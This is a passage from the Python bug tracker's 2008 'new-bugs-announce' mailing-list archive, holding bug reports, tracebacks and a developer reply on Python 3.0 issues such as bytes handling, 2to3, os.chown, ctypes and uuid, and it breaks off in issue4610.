In-Reply-To: <1228706970.47.0.163581858877.issue4588@psf.upfronthosting.co.za>
Message-ID: <1228706970.47.0.163581858877.issue4588@psf.upfronthosting.co.za>


New submission from jeff deifik <jeff at jeffunit.com>:

I want to make my own data of types bytes in order to write it out.
For example, I want to write out the bytes 0..9

#!/usr/bin/env python3.0
foo = b''
for i in range (0,10):
    foo += i
#sys.stdout.buffer.write(foo)

Here is the error:
Traceback (most recent call last):
  File "./x.py", line 4, in <module>
    foo += i
TypeError: can't concat bytes to int

I cannot find any function to convert the int i into something
that I can append to foo. I tried chr, which produced a string
typeerror. byte() was not defined. There must be a way to convert
an integral value to a bytes type.

----------
components: Interpreter Core
messages: 77286
nosy: lopgok
severity: normal
status: open
title: Need a way to make my own bytes
type: crash
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4588>
_______________________________________

From report at bugs.python.org  Mon Dec  8 07:21:10 2008
From: report at bugs.python.org (Jeffrey Yasskin)
Date: Mon, 08 Dec 2008 06:21:10 +0000
Subject: [New-bugs-announce] [issue4589] 'with' loses ->bool exceptions
In-Reply-To: <1228717270.54.0.0773896272442.issue4589@psf.upfronthosting.co.za>
Message-ID: <1228717270.54.0.0773896272442.issue4589@psf.upfronthosting.co.za>


New submission from Jeffrey Yasskin <jyasskin at gmail.com>:

When a context manager's __exit__() method returns an object whose
conversion to bool raises an exception, 'with' loses that exception. For
example:

>>> class CM(object):
...   def __init__(self, exit_result):
...     self.exit_result = exit_result
...   def __enter__(self):
...     return 3
...   def __exit__(self, a, b, c):
...     return self.exit_result()
... 
>>> class TrueAsBool(object):
...   def __nonzero__(self): return True
... 
>>> class FalseAsBool(object):
...   def __nonzero__(self): return False
... 
>>> class FailAsBool(object):
...   def __nonzero__(self):
...     raise RuntimeError("Should see this but won't")
... 
>>> with CM(TrueAsBool):
...   raise AssertionError("Should NOT see this")
... 
>>> with CM(FalseAsBool):
...   raise AssertionError("Should see this")
... 
Traceback (most recent call last):
  File "<stdin>", line 2, in <module>
AssertionError: Should see this
>>> with CM(FailAsBool):
...   raise AssertionError("Should see RuntimeException (oops)")
... 
>>> 


The problem is that WITH_CLEANUP only checks if PyObject_IsTrue(x)
returns non-zero, but that function returns <0 when the bool conversion
raises an exception.

----------
assignee: jyasskin
components: Interpreter Core
messages: 77290
nosy: jyasskin
severity: normal
stage: needs patch
status: open
title: 'with' loses ->bool exceptions
type: behavior
versions: Python 2.5, Python 2.6, Python 2.7, Python 3.0, Python 3.1

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4589>
_______________________________________

From report at bugs.python.org  Mon Dec  8 12:09:17 2008
From: report at bugs.python.org (Armin Ronacher)
Date: Mon, 08 Dec 2008 11:09:17 +0000
Subject: [New-bugs-announce] [issue4590] 2to3 strips trailing L for long
	iterals in two fixers
In-Reply-To: <1228734557.43.0.0269801825175.issue4590@psf.upfronthosting.co.za>
Message-ID: <1228734557.43.0.0269801825175.issue4590@psf.upfronthosting.co.za>


New submission from Armin Ronacher <armin.ronacher at active-4.com>:

I noticed that fix_long and fix_numliterals both strip trailing Ls from
numbers.  That's redudant, one of them should be enough.

I attached a patch that removes the literal changing from the fix_long
fixer.  Because I'm not sure if that may be the correct fixer to modify
I didn't commit it but created an issue for review.

----------
assignee: benjamin.peterson
components: 2to3 (2.x to 3.0 conversion tool)
files: remove_redundant.diff
keywords: needs review, patch
messages: 77296
nosy: aronacher, benjamin.peterson
priority: normal
severity: normal
stage: patch review
status: open
title: 2to3 strips trailing L for long iterals in two fixers
type: behavior
versions: 3rd party
Added file: http://bugs.python.org/file12277/remove_redundant.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4590>
_______________________________________

From report at bugs.python.org  Mon Dec  8 13:22:10 2008
From: report at bugs.python.org (Sjoerd Mullender)
Date: Mon, 08 Dec 2008 12:22:10 +0000
Subject: [New-bugs-announce] [issue4591] uid/gid problem in os.chown
In-Reply-To: <1228738930.96.0.415999724625.issue4591@psf.upfronthosting.co.za>
Message-ID: <1228738930.96.0.415999724625.issue4591@psf.upfronthosting.co.za>


New submission from Sjoerd Mullender <sjoerd at acm.org>:

On Fedora 8 and 10 using Python 2.5.1 and 2.5.2 (64 bit):

$ grep nfsnobody /etc/passwd
nfsnobody:x:4294967294:4294967294:Anonymous NFS
User:/var/lib/nfs:/sbin/nologin

So the UID of nfsnobody is 4294967294 (-2 if viewed as signed 32-bit int).

>>> import pwd, os
>>> print pwd.getpwnam('nfsnobody').pw_uid
4294967294
>>> os.chown('some file', pwd.getpwnam('nfsnobody').pw_uid,
pwd.getpwnam('nfsnobody').pw_gid)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
OverflowError: signed integer is greater than maximum

The reason for this error is that os.chown uses the "i" format to
convert the second and third arguments.  But the valued do not fit in a
32-bit signed integer.  uid_t and gid_t are defined as unsigned
quantities on this system.

The bug does not occur on 32 bit Fedora since there the uid and gid of
nfsnobody are 65534.

----------
components: Library (Lib)
messages: 77301
nosy: sjoerd
severity: normal
status: open
title: uid/gid problem in os.chown
type: behavior
versions: Python 2.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4591>
_______________________________________

From report at bugs.python.org  Mon Dec  8 16:00:51 2008
From: report at bugs.python.org (blake madden)
Date: Mon, 08 Dec 2008 15:00:51 +0000
Subject: [New-bugs-announce] [issue4592] PyModule_Create doesn't work (or
	example is missing something)
In-Reply-To: <1228748451.93.0.964486012296.issue4592@psf.upfronthosting.co.za>
Message-ID: <1228748451.93.0.964486012296.issue4592@psf.upfronthosting.co.za>


New submission from blake madden <madden_blake at yahoo.com>:

Following an example of how to extend and embed that I found in patch
file r67655 (the website is out of date [issue4586]), PyModule_Create
appears to not work (or example is not complete).  When I run r67655
(attached also) I get an error saying that "emb" is not a module.

----------
components: Extension Modules
files: python.cpp
messages: 77307
nosy: blakemadden
severity: normal
status: open
title: PyModule_Create doesn't work (or example is missing something)
versions: Python 3.0
Added file: http://bugs.python.org/file12281/python.cpp

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4592>
_______________________________________

From report at bugs.python.org  Mon Dec  8 16:45:20 2008
From: report at bugs.python.org (David M. Beazley)
Date: Mon, 08 Dec 2008 15:45:20 +0000
Subject: [New-bugs-announce] [issue4593] Documentation for multiprocessing -
	Pool.apply()
In-Reply-To: <1228751120.11.0.178840080456.issue4593@psf.upfronthosting.co.za>
Message-ID: <1228751120.11.0.178840080456.issue4593@psf.upfronthosting.co.za>


New submission from David M. Beazley <beazley at users.sourceforge.net>:

The documentation for the apply() and apply_async() methods of a Pool 
object might emphasize that these operations execute func(*args,**kwargs) 
in only one of the pool workers and that func() is not being executed in 
parallel on all workers.    On first reading, I actually thought it might 
be the latter (and had to do some experimentation to figure out what was 
actually happening).

----------
assignee: georg.brandl
components: Documentation
messages: 77312
nosy: beazley, georg.brandl
severity: normal
status: open
title: Documentation for multiprocessing - Pool.apply()
versions: Python 2.6, Python 2.7, Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4593>
_______________________________________

From report at bugs.python.org  Mon Dec  8 17:07:31 2008
From: report at bugs.python.org (John Stracke)
Date: Mon, 08 Dec 2008 16:07:31 +0000
Subject: [New-bugs-announce] [issue4594] Can't compile with -O3, on ARM,
	with gcc 3.4.4
In-Reply-To: <1228752451.46.0.0561776766804.issue4594@psf.upfronthosting.co.za>
Message-ID: <1228752451.46.0.0561776766804.issue4594@psf.upfronthosting.co.za>


New submission from John Stracke <francis+python+bug at thibault.org>:

I downloaded the source to Python 3.0 onto my Nokia N810, an ARM-based
Linux machine.  The native gcc is 3.4.4 (upgrading might be possible,
but would certainly be a pain).  I was able to build only by switching
from -O3 to -O2; -O3 caused a compiler crash.

Now, this isn't really Python's fault; gcc really shouldn't be crashing.
 However, it'd be nice if configure had a way to specify the
optimization level--I had to go in and edit the generated Makefile by
hand.  Better yet would be if configure could recognize the platform and
set the -O level accordingly.

----------
components: Build
messages: 77315
nosy: metageek
severity: normal
status: open
title: Can't compile with -O3, on ARM, with gcc 3.4.4
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4594>
_______________________________________

From report at bugs.python.org  Mon Dec  8 17:26:39 2008
From: report at bugs.python.org (blake madden)
Date: Mon, 08 Dec 2008 16:26:39 +0000
Subject: [New-bugs-announce] [issue4595] new types example is out of date
In-Reply-To: <1228753599.51.0.736503605174.issue4595@psf.upfronthosting.co.za>
Message-ID: <1228753599.51.0.736503605174.issue4595@psf.upfronthosting.co.za>


New submission from blake madden <madden_blake at yahoo.com>:

http://docs.python.org/3.0/extending/newtypes.html

This example is using Py_InitModule3, is this function removed in Python 3?

----------
assignee: georg.brandl
components: Documentation
messages: 77323
nosy: blakemadden, georg.brandl
severity: normal
status: open
title: new types example is out of date
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4595>
_______________________________________

From report at bugs.python.org  Mon Dec  8 17:55:06 2008
From: report at bugs.python.org (David W. Lambert)
Date: Mon, 08 Dec 2008 16:55:06 +0000
Subject: [New-bugs-announce] [issue4596] 2to3 does not fail as early as
	possible.
In-Reply-To: <1228755306.26.0.133376435968.issue4596@psf.upfronthosting.co.za>
Message-ID: <1228755306.26.0.133376435968.issue4596@psf.upfronthosting.co.za>


New submission from David W. Lambert <lambertdw at corning.com>:

$ #rm -f file_that_is_not_here.py
$ 2to3 file_that_is_not_here.py


The program spends considerable time preparing itself only to discover
that it cannot open the file.

----------
components: 2to3 (2.x to 3.0 conversion tool)
messages: 77327
nosy: LambertDW
severity: normal
status: open
title: 2to3 does not fail as early as possible.
type: performance

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4596>
_______________________________________

From report at bugs.python.org  Mon Dec  8 18:52:13 2008
From: report at bugs.python.org (Jeffrey Yasskin)
Date: Mon, 08 Dec 2008 17:52:13 +0000
Subject: [New-bugs-announce] [issue4597] EvalFrameEx fails to set 'why' for
	some exceptions
In-Reply-To: <1228758733.33.0.225665519958.issue4597@psf.upfronthosting.co.za>
Message-ID: <1228758733.33.0.225665519958.issue4597@psf.upfronthosting.co.za>


New submission from Jeffrey Yasskin <jyasskin at gmail.com>:

Several opcodes that can raise an exception fail to set x, err, or why
afterward. This patch fixes all the examples I could find. I could only
figure out how to write a test for PRINT_NEWLINE; the others are hard to
trigger.

----------
assignee: jyasskin
components: Interpreter Core
files: fix_exceptions.patch
keywords: needs review, patch
messages: 77332
nosy: jyasskin
priority: normal
severity: normal
stage: patch review
status: open
title: EvalFrameEx fails to set 'why' for some exceptions
type: behavior
versions: Python 2.6, Python 2.7, Python 3.0, Python 3.1
Added file: http://bugs.python.org/file12286/fix_exceptions.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4597>
_______________________________________

From report at bugs.python.org  Mon Dec  8 21:22:01 2008
From: report at bugs.python.org (Elizabeth Chang)
Date: Mon, 08 Dec 2008 20:22:01 +0000
Subject: [New-bugs-announce] [issue4598] IDLE not opening
In-Reply-To: <1228767721.74.0.672735673887.issue4598@psf.upfronthosting.co.za>
Message-ID: <1228767721.74.0.672735673887.issue4598@psf.upfronthosting.co.za>


New submission from Elizabeth Chang <elizabeth.chang at noblis.org>:

Fresh install, IDLE does not open. Cannot find tk tcl. Reference 
Issue4049. Problem reported in Python 2.5 and 3.0 on Windows.

----------
messages: 77338
nosy: ec2929
severity: normal
status: open
title: IDLE not opening
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4598>
_______________________________________

From report at bugs.python.org  Mon Dec  8 22:08:26 2008
From: report at bugs.python.org (Michael Foord)
Date: Mon, 08 Dec 2008 21:08:26 +0000
Subject: [New-bugs-announce] [issue4599] Strings undisplayable with repr
In-Reply-To: <1228770506.96.0.257650745899.issue4599@psf.upfronthosting.co.za>
Message-ID: <1228770506.96.0.257650745899.issue4599@psf.upfronthosting.co.za>


New submission from Michael Foord <michael at voidspace.org.uk>:

In Python 3 strings with non-ascii characters are undisplayable (even
with repr) in the default interactive interpreter on Windows and Mac.
Shouldn't the repr use escapes as with previous versions of Python?

Python 2.6
Python 2.6 (trunk:66714:66715M, Oct  1 2008, 18:36:04) 
[GCC 4.0.1 (Apple Computer, Inc. build 5370)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> d = u'\u20ac'
>>> d
u'\u20ac'

Python 3
Python 3.0 (r30:67503, Dec  6 2008, 21:14:27) 
[GCC 4.0.1 (Apple Inc. build 5465)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> d = '\u20ac'
>>> d
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File
"/Library/Frameworks/Python.framework/Versions/3.0/lib/python3.0/io.py",
line 1491, in write
    b = encoder.encode(s)
  File
"/Library/Frameworks/Python.framework/Versions/3.0/lib/python3.0/encodings/ascii.py",
line 22, in encode
    return codecs.ascii_encode(input, self.errors)[0]
UnicodeEncodeError: 'ascii' codec can't encode character '\u20ac' in
position 1: ordinal not in range(128)
>>> repr(d)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File
"/Library/Frameworks/Python.framework/Versions/3.0/lib/python3.0/io.py",
line 1491, in write
    b = encoder.encode(s)
  File
"/Library/Frameworks/Python.framework/Versions/3.0/lib/python3.0/encodings/ascii.py",
line 22, in encode
    return codecs.ascii_encode(input, self.errors)[0]
UnicodeEncodeError: 'ascii' codec can't encode character '\u20ac' in
position 2: ordinal not in range(128)
>>>

----------
components: Interpreter Core, Macintosh, Windows
messages: 77341
nosy: mfoord
severity: normal
status: open
title: Strings undisplayable with repr
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4599>
_______________________________________

From report at bugs.python.org  Mon Dec  8 22:25:22 2008
From: report at bugs.python.org (Terry J. Reedy)
Date: Mon, 08 Dec 2008 21:25:22 +0000
Subject: [New-bugs-announce] [issue4600] __class__ assignment: new-style?
	heap? == confusing
In-Reply-To: <1228771522.72.0.688992536212.issue4600@psf.upfronthosting.co.za>
Message-ID: <1228771522.72.0.688992536212.issue4600@psf.upfronthosting.co.za>


New submission from Terry J. Reedy <tjreedy at udel.edu>:

ob.__class__ = ob2
gives some confusing TypeError messages.

>>> c.__class__ = 1
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: __class__ must be set to new-style class, not 'int' object

Problem: 'new-style' is obsolete in 3.0. It is also too inclusive...

>>> c.__class__ = object
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: __class__ assignment: only for heap types

object *is* 'new-style'.  I presume 'heap type' means 'class defined by
class statement'.  If so, let us say so, since beginning programmers may
not know what a 'heap type' is.  If the above is incorrect, then this
experienced programmer also does not know what it means in Python
context ;-).

Proposal: when someone tries to set __class__ to an inappropriate
object, give similar error message for instances and heap classes.

TypeError: __class__ must be set to a class defined by a class
statement, not 'xxx' [object].

where 'object', without the brackets, is added for non-classes, as it is
today.

>>> c.__class__ = object
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: __class__ assignment: only for heap types

C, the class of c, *is* a heap type.  The different problem, the target
being an instance of heap class, should get a different message.  'Heap'
is still possibly confusing. Proposal:

TypeError: __class__ assignment: only for instances of classes defined
by class statements.

----------
components: Interpreter Core
messages: 77343
nosy: tjreedy
severity: normal
status: open
title: __class__ assignment: new-style? heap? == confusing
type: behavior
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4600>
_______________________________________

From report at bugs.python.org  Mon Dec  8 22:27:53 2008
From: report at bugs.python.org (Leger)
Date: Mon, 08 Dec 2008 21:27:53 +0000
Subject: [New-bugs-announce] [issue4601] permissions errors with altinstall
	in 3.0
In-Reply-To: <1228771673.82.0.0596697860689.issue4601@psf.upfronthosting.co.za>
Message-ID: <1228771673.82.0.0596697860689.issue4601@psf.upfronthosting.co.za>


New submission from Leger <legerf at free.fr>:

Under Debian/Lenny, with Python3.0.final install from the tarball, any
user can't import lib-dynload, launch IDLE ... but local root can do them.

When I login in root and run "chmod -R o+rx /usr/lib/python3.0/*", users
can use normaly python3.0.

Install detail : "configure --with-pydebug --with-doc-strings
--enable-shared --enable-profiling --enable-ipv6 --with-threads
--with-tsc --prefix=/usr ; make ; make test" and after "make altinstall
> altinstall.log 2>&1". I join altinstall.log.

----------
components: Library (Lib)
files: altinstall.log
messages: 77344
nosy: legerf
severity: normal
status: open
title: permissions errors with altinstall in 3.0
type: resource usage
versions: Python 3.0
Added file: http://bugs.python.org/file12288/altinstall.log

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4601>
_______________________________________

From report at bugs.python.org  Mon Dec  8 22:42:11 2008
From: report at bugs.python.org (=?utf-8?q?Adeodato_Sim=C3=B3?=)
Date: Mon, 08 Dec 2008 21:42:11 +0000
Subject: [New-bugs-announce] [issue4602] 2to3 drops executable bit with
	--write
In-Reply-To: <1228772531.3.0.441603086131.issue4602@psf.upfronthosting.co.za>
Message-ID: <1228772531.3.0.441603086131.issue4602@psf.upfronthosting.co.za>


New submission from Adeodato Sim? <dato at net.com.org.es>:

Hello,

after using 2to3 --write over some scripts, I found it very cumbersome
having to run `chmod +x` on each of them afterwards.

The attached patch is a possible way to fix this issue. It'd be great 
if somebody could apply it, or write a more appropriate fix.

----------
components: 2to3 (2.x to 3.0 conversion tool)
files: 2to3_preserve_mode.diff
keywords: patch
messages: 77349
nosy: dato
severity: normal
status: open
title: 2to3 drops executable bit with --write
versions: Python 3.0
Added file: http://bugs.python.org/file12291/2to3_preserve_mode.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4602>
_______________________________________

From martin at v.loewis.de  Mon Dec  8 23:40:19 2008
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Mon, 08 Dec 2008 23:40:19 +0100
Subject: [New-bugs-announce] [issue4594] Can't compile with -O3, on ARM,
 with gcc 3.4.4
In-Reply-To: <1228752451.46.0.0561776766804.issue4594@psf.upfronthosting.co.za>
References: <1228752451.46.0.0561776766804.issue4594@psf.upfronthosting.co.za>
Message-ID: <493DA253.4000209@v.loewis.de>

> Now, this isn't really Python's fault; gcc really shouldn't be crashing.
>  However, it'd be nice if configure had a way to specify the
> optimization level--I had to go in and edit the generated Makefile by
> hand. 

Well, Python does have a way - the way you have been using.

However, as yet another way, you can set the OPT environment variable,
to define the optimization flags to be used (and other non-essential
compiler flags).

> Better yet would be if configure could recognize the platform and
> set the -O level accordingly.

I'm opposed. Selecting such a thing by platform and compiler version
is too transient to be maintainable. It would be different if the
platform would have been around for 10 years, and had seen no compiler
change for 8 years, but in this case, this likely is fixed before the
next Python release is even made. Please report this to the system
vendor.

From report at bugs.python.org  Tue Dec  9 00:05:51 2008
From: report at bugs.python.org (Terry J. Reedy)
Date: Mon, 08 Dec 2008 23:05:51 +0000
Subject: [New-bugs-announce] [issue4603] 3.0 document tab interpretation
	change
In-Reply-To: <1228777550.97.0.72005547671.issue4603@psf.upfronthosting.co.za>
Message-ID: <1228777550.97.0.72005547671.issue4603@psf.upfronthosting.co.za>


New submission from Terry J. Reedy <tjreedy at udel.edu>:

In 2.6, Ref Manual / Lexical Analysis / Indentation says

"First, tabs are replaced (from left to right) by one to eight spaces
such that the total number of characters up to and including the
replacement is a multiple of eight (this is intended to be the same rule
as used by Unix). The total number of spaces preceding the first
non-blank character then determines the line?s indentation. "

and Using Python / Command line / Misc options says

"-t
    Issue a warning when a source file mixes tabs and spaces for
indentation in a way that makes it depend on the worth of a tab
expressed in spaces. Issue an error when the option is given twice (-tt)."

Inyeol Lee, on c.l.p., in response to a report of a TabError, says "-tt
option in python 2.x is now default in python 3.0.
Apparently it got slipped from any documentation, including what's
new."

In 3.0 docs, the -t option *was* removed from Using Python, but the
Indentation sentences quoted above remain unchanged, though obsolete.  I
would guess that they should be replaced by something like

"When a source file mixes tabs and spaces for indentation in a way that
makes it depend on the worth of a tab expressed in spaces, a TabError is
raised." 

Perhaps What's New should get a sentence too.  "The former -tt startup
option to raise TabError on ambiguous mixtures of tabs and spaces for
indentation has been removed as an option and is now the standard behavior."

----------
assignee: georg.brandl
components: Documentation
messages: 77360
nosy: georg.brandl, tjreedy
severity: normal
status: open
title: 3.0 document tab interpretation change
versions: Python 3.0, Python 3.1

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4603>
_______________________________________

From report at bugs.python.org  Tue Dec  9 01:11:21 2008
From: report at bugs.python.org (Skip Montanaro)
Date: Tue, 09 Dec 2008 00:11:21 +0000
Subject: [New-bugs-announce] [issue4604] close() seems to have limited effect
In-Reply-To: <1228781481.66.0.10678075439.issue4604@psf.upfronthosting.co.za>
Message-ID: <1228781481.66.0.10678075439.issue4604@psf.upfronthosting.co.za>


New submission from Skip Montanaro <skip at pobox.com>:

Seems like file.close() in 3.0 isn't much of a barrier to further reading:

% python3.0
Python 3.0rc3+ (py3k:67338M, Nov 22 2008, 06:47:23) 
[GCC 4.0.1 (Apple Inc. build 5465)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> fp = open("/etc/services")
>>> ct = fp.read(1048)
>>> print (ct[-80:], end='') ; fp.close() ; ct = fp.read(17) ; print (ct)
compressnet       2/udp     # Management Utility
compressnet       2/tcp     # Management Utility

The second read() should raise an exception.  Same code, 2.6:

% python2.6
Python 2.6+ (release26-maint:66821:66833, Oct 30 2008, 22:16:1) 
[GCC 4.0.1 (Apple Inc. build 5465)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> from __future__ import print_function
>>> fp = open("/etc/services")
>>> ct = fp.read(1048)
>>> print (ct[-80:], end='') ; fp.close() ; ct = fp.read(17) ; print (ct)
compressnet       2/udp     # Management Utility
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
ValueError: I/O operation on closed file
compressnet       2/tcp     # M>>> 

Culled this from a posting to comp.lang.python.

----------
components: Interpreter Core
messages: 77376
nosy: skip.montanaro
severity: normal
status: open
title: close() seems to have limited effect
type: behavior
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4604>
_______________________________________

From report at bugs.python.org  Tue Dec  9 01:30:29 2008
From: report at bugs.python.org (chris)
Date: Tue, 09 Dec 2008 00:30:29 +0000
Subject: [New-bugs-announce] [issue4605] 3.0 documentation mentions using
	maketrans from within the string module.
In-Reply-To: <1228782629.1.0.4913210804.issue4605@psf.upfronthosting.co.za>
Message-ID: <1228782629.1.0.4913210804.issue4605@psf.upfronthosting.co.za>


New submission from chris <followingthepath at gmail.com>:

http://docs.python.org/3.0/library/stdtypes.html#str.translate
mentions the following:
"You can use the maketrans() helper function in the string module to 
create a translation table."

But maketrans is now a string method not just a function of the string 
module. It even mentions that right above it that it is now a method of 
string objects:
"A map for translate() is usually best created by str.maketrans()."

The page where this all appears in is:
http://docs.python.org/3.0/library/stdtypes.html

It may have just not been updated fully from an older release.
If I am mistaken and this is not a bug, I appologise.

----------
assignee: georg.brandl
components: Documentation
messages: 77379
nosy: georg.brandl, suicideducky
severity: normal
status: open
title: 3.0 documentation mentions using maketrans from within the string module.
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4605>
_______________________________________

From report at bugs.python.org  Tue Dec  9 10:47:00 2008
From: report at bugs.python.org (Robert Luce)
Date: Tue, 09 Dec 2008 09:47:00 +0000
Subject: [New-bugs-announce] [issue4606] Passing 'None' if argtype is set to
	POINTER(...) doesn't always result in NULL
In-Reply-To: <1228816020.28.0.155864486659.issue4606@psf.upfronthosting.co.za>
Message-ID: <1228816020.28.0.155864486659.issue4606@psf.upfronthosting.co.za>


New submission from Robert Luce <luce at math.tu-berlin.de>:

Consider the library 'c_lib.so' consisting of a single function 'c_func'

int c_func ( double *arg0, double *arg1, double *arg2, double *arg3,
             double *arg4, double *arg5, double *arg6) {
    printf("Value of arg0 is %p\n", arg0);
    printf("Value of arg1 is %p\n", arg1);
    printf("Value of arg2 is %p\n", arg2);
    printf("Value of arg3 is %p\n", arg3);
    printf("Value of arg4 is %p\n", arg4);
    printf("Value of arg5 is %p\n", arg5);
    printf("Value of arg6 is %p\n", arg6);
    return 0;
}

and the following snippet:

from ctypes import *
c_lib = CDLL('c_lib.so')
t = POINTER(c_double)
c_lib.c_func.argtypes = [t,t,t,t,t,t,t]

def call_c_func():
    nptr = None
    c_lib.c_func(nptr, nptr, nptr, nptr, nptr, nptr, nptr)

The output I get from call_c_func() with Python 2.6 and Python 2.5 on a
64 bit Linux box is (it probably won't happen on 32 bit systems):

Value of arg0 is (nil)
Value of arg1 is (nil)
Value of arg2 is (nil)
Value of arg3 is (nil)
Value of arg4 is (nil)
Value of arg5 is (nil)
Value of arg6 is 0xa00000000

The reason appears to be that in 'PointerType_from_param' (_ctypes.c)
Py_None is converted to a Python integer of value 0.  Later, in
'ConvParam' (callproc.c), this integer ends up as a 4 byte integer type
on the argument stack for ffi. I don't know anything about ffi, but this
looks at least suspicious on any platform where sizeof(void*) is 8.

I propose to remove NULL pointer handling from the above from_param
function, since Py_None is properly handled by ConvParam itself. A patch
against the 2.6 maintenance branch is attached.

----------
assignee: theller
components: ctypes
files: patch_ctypes_none_arg.diff
keywords: patch
messages: 77397
nosy: robertluce, theller
severity: normal
status: open
title: Passing 'None' if argtype is set to POINTER(...) doesn't always result in NULL
type: behavior
versions: Python 2.5, Python 2.6
Added file: http://bugs.python.org/file12300/patch_ctypes_none_arg.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4606>
_______________________________________

From report at bugs.python.org  Tue Dec  9 11:13:33 2008
From: report at bugs.python.org (Morten Bentsen)
Date: Tue, 09 Dec 2008 10:13:33 +0000
Subject: [New-bugs-announce] [issue4607] uuid behavior with multiple threads
In-Reply-To: <1228817613.61.0.835491086026.issue4607@psf.upfronthosting.co.za>
Message-ID: <1228817613.61.0.835491086026.issue4607@psf.upfronthosting.co.za>


New submission from Morten Bentsen <mortenab at gmail.com>:

The uuid module uses a single global buffer for storing random values 
obtained from the system. This can (and does) cause non-uniqueness of 
generated id's when using the uuid4 function in a multithreaded program.

The following snippet shows the problem - _buffer is the global buffer:

    # When the system provides a version-4 UUID generator, use it.
    if _uuid_generate_random:
        _uuid_generate_random(_buffer)
        return UUID(bytes=_buffer.raw)

----------
components: Library (Lib)
messages: 77401
nosy: mortenab
severity: normal
status: open
title: uuid behavior with multiple threads
type: behavior
versions: Python 2.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4607>
_______________________________________

From report at bugs.python.org  Tue Dec  9 13:13:42 2008
From: report at bugs.python.org (Jakub Wilk)
Date: Tue, 09 Dec 2008 12:13:42 +0000
Subject: [New-bugs-announce] [issue4608] urllib.request.urlopen does not
	return an iterable object
In-Reply-To: <1228824822.91.0.748607079368.issue4608@psf.upfronthosting.co.za>
Message-ID: <1228824822.91.0.748607079368.issue4608@psf.upfronthosting.co.za>


New submission from Jakub Wilk <ubanus at users.sf.net>:

$ cat urltest2.5
#!/usr/bin/python2.5
from urllib2 import urlopen
for line in urlopen('http://python.org/'):
        print line
        break

$ ./urltest2.5
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">


$ cat urltest3.0
#!/usr/bin/python3.0
from urllib.request import urlopen
for line in urlopen('http://python.org/'):
        print(line)
        break

$ ./urltest3.0
Traceback (most recent call last):
  File "./urltest3.0", line 3, in <module>
    for line in urlopen('http://python.org/'):
TypeError: 'addinfourl' object is not iterable

----------
components: Library (Lib)
messages: 77405
nosy: jwilk, pl
severity: normal
status: open
title: urllib.request.urlopen does not return an iterable object
type: behavior
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4608>
_______________________________________

From report at bugs.python.org  Tue Dec  9 13:51:06 2008
From: report at bugs.python.org (Peter Saunders)
Date: Tue, 09 Dec 2008 12:51:06 +0000
Subject: [New-bugs-announce] [issue4609] Allow use of > 256 FD's on solaris
	in 32 bit mode
In-Reply-To: <1228827066.41.0.986801678261.issue4609@psf.upfronthosting.co.za>
Message-ID: <1228827066.41.0.986801678261.issue4609@psf.upfronthosting.co.za>


New submission from Peter Saunders <pajs at fodder.org.uk>:

Feature Request:

Could configure etc be modified to detect if it can use
enable_extended_FILE_stdio() to allow solaris to use > 256 FD's while
still be compiled 32 bit. This is a new feature in Solaris 10 (came in
Update 4). 

Some futher infomation on this:

http://developers.sun.com/solaris/articles/stdio_256.html  (Scroll to
"Programming Solutions")

http://docs.sun.com/app/docs/doc/819-2243/enable-extended-file-stdio-3c?a=view

----------
components: Interpreter Core
messages: 77410
nosy: pajs at fodder.org.uk
severity: normal
status: open
title: Allow use of > 256 FD's on solaris in 32 bit mode
versions: Python 2.5, Python 2.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4609>
_______________________________________

From report at bugs.python.org  Tue Dec  9 15:50:30 2008
From: report at bugs.python.org (Alex Stapleton)
Date: Tue, 09 Dec 2008 14:50:30 +0000
Subject: [New-bugs-announce] [issue4610] Unicode case mappings are incorrect
In-Reply-To: <1228834230.47.0.479389214751.issue4610@psf.upfronthosting.co.za>
Message-ID: <1228834230.47.0.479389214751.issue4610@psf.upfronthosting.co.za>


New submission from Alex Stapleton <alexs at prol.etari.at>:

Following a discussion on reddit it seems that the unicode case
conversion algorithms are not being followed.

$ python3.0
